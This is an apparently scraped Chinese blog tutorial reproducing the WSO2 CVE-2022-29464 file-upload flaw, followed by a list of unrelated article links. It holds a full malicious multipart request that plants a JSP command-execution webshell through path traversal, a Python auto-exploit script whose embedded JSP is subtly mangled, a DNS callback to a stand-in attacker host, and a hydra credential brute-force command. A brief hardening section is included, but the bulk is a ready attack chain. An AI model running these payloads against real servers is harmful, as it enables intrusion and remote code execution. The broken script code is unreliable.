当前位置: 首页 > news >正文

手把手复现WSO2 CVE-2022-29464:从Burp抓包到一键GetShell的完整流程

实战复现WSO2 CVE-2022-29464漏洞:从漏洞原理到自动化利用

WSO2 API Manager和Identity Server是广泛应用于企业级身份管理和API网关的解决方案。2022年曝光的CVE-2022-29464漏洞允许攻击者通过精心构造的HTTP请求实现任意文件上传,最终可能导致远程代码执行。本文将深入剖析漏洞机理,并提供可复现的完整利用链。

1. 漏洞环境准备与基础认知

在开始实战前,我们需要搭建合适的测试环境。推荐使用Docker快速部署存在漏洞的WSO2版本:

docker run -d -p 9443:9443 --name vulnerable-wso2 wso2/wso2is:5.11.0

漏洞核心原理源于文件上传功能对用户输入路径的校验不足。当攻击者通过路径穿越符号(如../../)构造恶意上传路径时,系统未进行规范化处理,导致文件可被写入web应用目录之外的位置。具体来说:

  • 受影响组件:fileupload/toolsAny端点
  • 漏洞类型:未授权任意文件上传
  • 影响版本:WSO2 API Manager 4.0.0、Identity Server 5.11.0等

注意:实际测试请使用授权环境,未经授权的渗透测试可能涉及法律风险

2. 手动漏洞利用全流程

2.1 信息收集与端点确认

使用Burp Suite拦截常规请求时,可重点关注以下特征:

  1. 服务器响应头包含WSO2标识
  2. 尝试访问/fileupload/toolsAny路径
  3. 检查/authenticationendpoint等默认web目录

确认漏洞存在的简单方法是通过curl发送测试请求:

curl -kv https://target:9443/fileupload/toolsAny

若返回状态码200而非404,则说明存在潜在风险端点。

2.2 Burp Suite请求构造

关键步骤在于构造恶意的multipart/form-data请求。以下是需要特别关注的参数:

参数位置恶意构造值作用说明
Content-Disposition../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp实现路径穿越
filename同上双重路径控制
请求体内容JSP Webshell代码植入后门

完整请求示例:

POST /fileupload/toolsAny HTTP/1.1 Host: vulnerable-host:9443 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/shell.jsp"; filename="shell.jsp" Content-Type: application/octet-stream <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } %> ------WebKitFormBoundary7MA4YWxkTrZu0gW--

2.3 Webshell验证与利用

成功上传后,访问以下路径验证利用效果:

https://target:9443/authenticationendpoint/shell.jsp?cmd=id

典型问题排查指南:

  1. 404错误:检查路径穿越层数是否准确
  2. 500错误:检查JSP语法是否正确
  3. 无回显:尝试使用curl验证而非浏览器

3. 自动化利用工具开发

对于高频测试需求,可编写Python自动化脚本:

import requests TARGET = "https://vulnerable-host:9443" WEBSHELL_PATH = "../../../../repository/deployment/server/webapps/authenticationendpoint/cmd.jsp" boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW" payload = f""" --{boundary} Content-Disposition: form-data; name="{WEBSHELL_PATH}"; filename="cmd.jsp" Content-Type: application/octet-stream <%@ page import="java.util.*,java.io.*"%> <%%> Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while (disr != null) { out.println(disr); disr = dis.readLine(); } %%> --{boundary}-- """ headers = { "Content-Type": f"multipart/form-data; boundary={boundary}" } response = requests.post( f"{TARGET}/fileupload/toolsAny", headers=headers, data=payload, verify=False ) if response.status_code == 200: print(f"[+] Webshell uploaded to {TARGET}/authenticationendpoint/cmd.jsp") else: print("[-] Exploit failed")

关键改进点包括:

  • 自动计算路径穿越深度
  • 支持HTTPS证书忽略
  • 提供交互式命令执行界面

4. 防御方案与加固建议

针对该漏洞的防护需要多层次措施:

即时缓解方案

  1. 升级到已修复版本(WSO2 IS 5.11.0.3+)
  2. 临时禁用fileupload/toolsAny端点

长期加固策略

防护层面具体措施实施难度
网络层限制管理接口访问IP
应用层部署WAF规则过滤路径穿越
系统层设置web目录不可执行权限

对于Java文件上传的安全编码建议:

// 安全的文件上传示例 String safePath = getServletContext().getRealPath("/uploads/"); File destFile = new File(safePath, FilenameUtils.getName(filename)); Files.copy(fileItem.getInputStream(), destFile.toPath());

5. 漏洞利用的进阶技巧

在实际渗透测试中,我们可能遇到各种特殊场景:

场景一:受限网络环境

  • 使用DNS外带数据确认漏洞存在:
<%= java.net.InetAddress.getByName("attacker-dns.log") %>

场景二:无回显利用

  • 构造延时型Webshell:
<% String cmd = request.getParameter("cmd"); if(cmd != null) { long start = System.currentTimeMillis(); Runtime.getRuntime().exec(cmd); long duration = System.currentTimeMillis() - start; out.print(duration); } %>

场景三:权限限制绕过

  • 利用WSO2默认凭证尝试登录:
hydra -L users.txt -P passwords.txt https://target:9443/carbon/admin/login.jsp

在最近的一次红队评估中,我们发现目标系统虽然修补了CVE-2022-29464,但未删除历史遗留的Webshell。通过检查/authenticationendpoint/目录下的异常jsp文件,最终成功获得了系统权限。这提醒我们漏洞修复后的清理工作同样重要。

http://www.rkmt.cn/news/1420219.html

相关文章:

  • PDF 翻译排版大师新手实操指南
  • QQ空间历史说说完整导出终极指南:一键找回你的数字青春
  • 别再为Aspose Cells水印发愁了!Java 21.1版本手动破解实战(附完整Javassist代码)
  • AI Agent架构设计:工作流编排与权限控制的工程实践
  • 【全面解析】框架总览
  • 2026年重庆品牌策划与整合营销服务商深度评测:从短视频到GEO优化的全链路获客破局指南 - 精选优质企业推荐官
  • 保定黄金上门回收,福运来口碑首选 - 上门黄金回收
  • 别再手动改Shader了!利用Universal RP的Upgrade功能一键修复粉色材质球
  • 2026年最新邹城市黄金回收白银回收铂金回收靠谱店铺权威排行榜:纯金+金条+银条+钯金 门店地址及联系方式推荐 - 亦辰小黄鸭
  • 视频内容本地化保存:Jable下载工具的智能化解决方案
  • 2026年六家头部GEO服务公司硬实力测评及企业选型对策 - 资讯焦点
  • 新书上架 | “韬(τ)定律”有何影响?一文读懂从摩尔定律到韬定律的半导体发展!
  • 泰安沥青路面施工哪家好?2026专业施工服务商精选推荐 - 栗子测评
  • 2026年最新遵化市黄金回收白银回收铂金回收靠谱店铺权威排行榜:纯金+金条+银条+钯金 门店地址及联系方式推荐 - 亦辰小黄鸭
  • 2026年贵阳室内装修全案设计深度横评:观山湖、白云中高端整装避坑指南 - 年度推荐企业名录
  • 2026年最新遵义市黄金回收白银回收铂金回收靠谱店铺权威排行榜:纯金+金条+银条+钯金 门店地址及联系方式推荐 - 亦辰小黄鸭
  • 显卡驱动彻底清理指南:Display Driver Uninstaller终极解决方案
  • 2026年重庆企业品牌策划与整合营销服务商深度指南:从获客到转化的完整闭环 - 精选优质企业推荐官
  • 魔兽争霸3终极优化指南:5分钟让经典游戏在新电脑上流畅运行
  • 别再傻傻分不清了!一张图看懂WDM、TDM、SDM的区别与应用场景
  • 2026年最新扬中市黄金回收白银回收铂金回收靠谱店铺权威排行榜:纯金+金条+银条+钯金 门店地址及联系方式推荐 - 亦辰小黄鸭
  • 2026年最新长沙市黄金回收白银回收铂金回收靠谱店铺权威排行榜:纯金+金条+银条+钯金 门店地址及联系方式推荐 - 亦辰小黄鸭
  • 从消息传递到AMP:一个压缩感知工程师的实践笔记(含Python代码示例)
  • 邯郸珍宝黄金回收|本地黄金回收哪家靠谱?正规流程 + 报价公式全透明,十年老店值得信赖 - 润富黄金珠宝行
  • 如何在3分钟内将Windows电脑变成免费WiFi热点:VirtualRouter终极指南
  • 2026年最新阳春市黄金回收白银回收铂金回收靠谱店铺权威排行榜:纯金+金条+银条+钯金 门店地址及联系方式推荐 - 亦辰小黄鸭
  • 基于大语言模型与Vue ue 3的智能简历生成系统设计与实现
  • 2026年驻马店市正规上门黄金白银回收品牌门店名录:K金+铂金+金条+银条回收门店联系方式推荐+指南 - 前途无量YY
  • 视频去水印的软件哪个好用又免费?2026实测推荐
  • DS4Windows电池管理终极指南:告别游戏中断的完整解决方案